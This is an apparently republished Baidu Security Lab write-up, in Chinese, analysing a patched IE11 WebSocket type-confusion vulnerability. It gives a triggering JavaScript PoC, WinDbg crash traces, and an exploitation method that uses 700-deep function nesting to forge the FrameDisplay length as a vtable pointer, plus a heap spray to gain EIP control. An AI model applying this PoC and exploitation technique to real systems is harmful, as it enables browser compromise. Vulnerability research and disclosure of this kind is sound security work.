百度安全分享 | IE11类型混淆漏洞发现

原创
07/27 12:18
阅读数 67


摘要

 

百度安全实验室于20169月发现了一个可以稳定利用的IE11的类型混淆漏洞,能在Windows 7 32位系统上对IE11进行EIP寄存器控制。就在我们准备向微软报告的时候(201610月)这一漏洞被微软修复了。很可能是Google Project ZeroNatalieSilvanovich同期独立发现了同样的漏洞,并先一步报告给了微软。该漏洞的原理简单,但是利用起来有一定难度,因此我们用了一个比较巧妙的方法来利用这个漏洞。由于该漏洞已被修补,在此就把我们对漏洞的分析和利用过程进行一下分享。

 

 

漏洞分析

 

触发漏洞的PoC非常简单,只有几行代码:

eval = WebSocket;

code="m";

myf(code);

 

function myf(code){

    eval(code);

}

 

我们把eval函数进行重定义为WebSocket,然后在myf里面去调用eval函数,并传给eval函数一个字符参数。加载这段代码,IE11会崩溃,崩溃信息如下(下面的分析基于win7 sp132bit+IE11(KB3100773)):

 

(964.a2c): Access violation - code c0000005  (!!! second chance !!!)

eax=00000001 ebx=020cbc40 ecx=020cbc40  edx=01e7d848 esi=a0ffffff edi=02d6afa0

eip=a0ffffff esp=02d6af90 ebp=02d6afbc  iopl=0         nv up ei pl nz na po nc

cs=001b   ss=0023  ds=0023  es=0023   fs=003b  gs=0000             efl=00010202

a0ffffff ??              ???

0:007> kn

 #  ChildEBP RetAddr 

WARNING: Frame IP not in any known module.  Following frames may be wrong.

00 02d6af8c 68911b8c 0xa0ffffff

01 02d6afbc 6892e11b  jscript9!Js::JavascriptConversion::ToPrimitive+0x97

02 02d6b23c 689566ba  jscript9!Js::JavascriptConversion::ToString+0x1a8

03 02d6b28c 688c1524  jscript9!Js::JavascriptExternalConversion::ToString+0x82

04 02d6b2d4 688c162b  jscript9!ScriptSite::ExternalToString+0x53

05 02d6b2f0 664d6334  jscript9!ScriptEngineBase::VarToRawString+0x2e

06 02d6b330 688c0de6  MSHTML!CFastDOM::CWebSocket::DefaultEntryPoint+0xb4

07 02d6b3a0 688b6a0b  jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x18e

0e 02d6b848 688bcc4d 0x2a40fd1

0f 02d6baf8 688bcdc9  jscript9!Js::InterpreterStackFrame::Process+0x1dcd

10 02d6bc1c 02a40fe1 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x200

11 02d6bc28 688b6a0b 0x2a40fe1

12 02d6bc6c 688b70c8  jscript9!Js::JavascriptFunction::CallFunction<1>+0x91

13 02d6bce0 688b6ffd  jscript9!Js::JavascriptFunction::CallRootFunction+0xb9

 

从上面的栈回溯中我们可以看到,程序是崩溃在WebSocket的默认入口函数里。也就是说我们在myf()里调用eval时,由于eval函数被重定义了,所以真正被执行的是websocket函数。

 

查看WebSocket的官方文档,我们知道WebSocket()函数有2个参数,其中第二个为可选参数(可有可无)。

 

WebSocket WebSocket(

  in  DOMString url,

  in  optional DOMString protocols

);

 

漏洞产生的原因就是MSHTML!CFastDOM::CWebSocket::DefaultEntryPoint函数发生了一个函数参数的类型混淆。我们在poc中只给websocket传递了一个参数,但是在底层它错误认为有2参数,在解析第二个参数时就发生了类型混淆,导致了崩溃。

 

我们可以对MSHTML!CFastDOM::CWebSocket::DefaultEntryPoint下断点,

 

Breakpoint 0 hit

MSHTML!CFastDOM::CWebSocket::DefaultEntryPoint:

681b6280 8bff            mov     edi,edi

0:007> dd esp

02ae9914   6a590de6 02657720 18000003  03eae480

02ae9924   023b52d8 08a34010 7908006a  02ae9da8

 

0x180000003意味着函数是有一个可选参数的,并且 0x023b52d8对应于jswebsocket函数的第一个参数(DOMSting url) ,0x08a34010 对应于websocket的第二个参数(DOMString protocols).

 

我们可以看到第一个参数时jscript9!Js::BufferStringBuilder::WritableString 对象

0:007> dd 023b52d8

023b52d8   6a57e22c 0266c760 00000001 023b52e8

0:007> ln 6a57e22c

(6a57e22c)    jscript9!Js::BufferStringBuilder::WritableString::`vftable'   |   (6a57e3a0)   jscript9!Js::CompoundString::`vftable'

 

第二个理应(如果有) 也是jscript9!Js::BufferStringBuilder::WritableString 对象,但它却是一个其它结构的指针。

 

0:007> dd 08a34010

08a34010   00010001  08a182c0 08a18240 08a18170

08a34020   08a180a0 089effd0 089eff00 089efe30

08a34030   089efd60 089efc90 089efbc0 089efaf0

 

当解析第二个参数时,就发生了类型混淆。

 

 

漏洞利用

 

结合上文崩溃现场分析,我们可以看到0xa0ffffff来自于0x00010001偏移0x9c

 

0:007> dd

00010081   00013800 00000000 00000000 e8000000

00010091   e800010f 0f00010f f8000000 a0ffffff

000100a1   a0000100 10000100 10000100 00000100

 

由于此对象原本应该是jscript9!Js::BufferStringBuilder::WritableString对象,第一个dword是对象的虚表指针,所以0x00010001被错误的当成了虚函数表指针,那么利用的关键就是我们能否控制这个指针或者控制0x00010001 指向的内容(0x00010001指向的内存往往是不可控制的区域,修改这个范围的内存难度比较大)。

 

既然难以控制0x00010001指向的内容,我们的思路转向控制这一参数的值。我们可以追踪一下这个被混淆参数的来源。在解析当前崩溃现场时,我们发现它是一个0x10字节大小的堆块的指针,并且该堆块是有Javascriptmemgc堆来管理的,所以就对相应的堆块申请函数下断点追到了该堆块的申请的地方。该堆块被申请时的栈回溯如下:

 

00 0590b66c 67ea27bf  jscript9!Js::JavascriptOperators::OP_LdFrameDisplay+0x79

01 0590b918 67dfcdc9  jscript9!Js::InterpreterStackFrame::Process+0x4841

02 0590ba4c 06d30fd1  jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x200

WARNING: Frame IP not in any known module. Following  frames may be wrong.

03 0590ba58 67dfcc4d 0x6d30fd1

04 0590bd08 67dfcdc9  jscript9!Js::InterpreterStackFrame::Process+0x1dcd

05 0590be24 06d30fe1  jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x200

06 0590be30 67df6a0b 0x6d30fe1

07 0590be74 67df70c8  jscript9!Js::JavascriptFunction::CallFunction<1>+0x91

08 0590bee8 67df6ffd  jscript9!Js::JavascriptFunction::CallRootFunction+0xb9

09 0590bf30 67df6f90  jscript9!ScriptSite::CallRootFunction+0x42

 

通过阅读jscript9!Js::JavascriptOperators::OP_LdFrameDisplay的源代码,可见这个0x10字节大小的结构是framedisplay:

 

    FrameDisplay* JavascriptOperators::OP_LdFrameDisplay(void *argHead,  void *argEnv, ScriptContext* scriptContext)

    {

         ...

         pDisplay =  RecyclerNewPlus(scriptContext->GetRecycler(), length * sizeof(void*),  FrameDisplay, length);

         ...

}

 

 

查看一下FrameDisplay结构的定义:

 

struct FrameDisplay {

         FrameDisplay(uint16 len, bool strictMode = false) :

             tag(true),

            length(len),

strictMode(strictMode)

...

}

 

 

Framedisplay的定义我们知道前面所说的0x00010001 FrameDisplaytaglengthlength位于高16位。

 

那么现在的核心问题就是怎么控制length的值。Framedisplay翻译过来是“栈帧展示”,通过阅读相关代码,我们猜测可能是描述scriptfunction的栈帧的,而length可能是栈帧的长度或者深度。通过构造我们找到一种方法来影响这个值,我们把漏洞触发函数修改成下面的形式(增加eval函数的调用深度),崩溃时0x00010001已经改成了0x00020001

 

function myf(code){

    function  myf(code){

        eval(code);

    }

    myf(code);

}

(608.8d0): Access violation - code c0000005  (!!! second chance !!!)

0:007> dd ebx

0474bce0   00020001 0474bcd0 0474bca0 00000000

 

以此类推,我们在eval调用之前嵌套700层函数,那么虚表指针地址将会变成0x07000001,配合堆喷射,将0x07000000附近内存喷射为0x41414141,就能实现对EIP的控制:

 

0:007> g

(7b4.f28): Access violation - code c0000005  (first chance)

First chance exceptions are reported before  any exception handling.

This exception may be expected and handled.

eax=00000001 ebx=08a34010 ecx=08a34010  edx=01e7bfd0 esi=41414141 edi=02ae9580

eip=41414141 esp=02ae9570 ebp=02ae959c  iopl=0         nv up ei pl nz na po nc

cs=001b   ss=0023  ds=0023  es=0023   fs=003b  gs=0000             efl=00010202

41414141 ??              ???

0:007> dd ebx

08a34010   07000001  08a182c0 08a18240 08a18170

0:007> dd 07000001

07000001   10000000 000000fc 00000000 00000000

07000011   00000000 0000003f 0000003f 41000000

07000021   41414141 41414141 41414141 41414141

07000031   41414141 41414141 41414141 41414141

07000041   41414141 41414141 41414141 41414141

07000051   41414141 41414141 41414141 41414141

07000061   41414141 41414141 41414141 41414141

07000071   41414141 41414141 41414141 41414141

 

 

总结

           通过分析,我们搞清楚了Framedisplay结构的含义,并且找到了在脚本层面影响该结构的方法,由此可见,对漏洞涉及的相关结构理解的越好,漏洞利用成功的可能性越大。




长按关注
百度安全实验室




本文分享自微信公众号 - 百度安全实验室(BaiduX_lab)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

展开阅读全文
打赏
0
0 收藏
分享
加载中
更多评论
打赏
0 评论
0 收藏
0
分享
返回顶部
顶部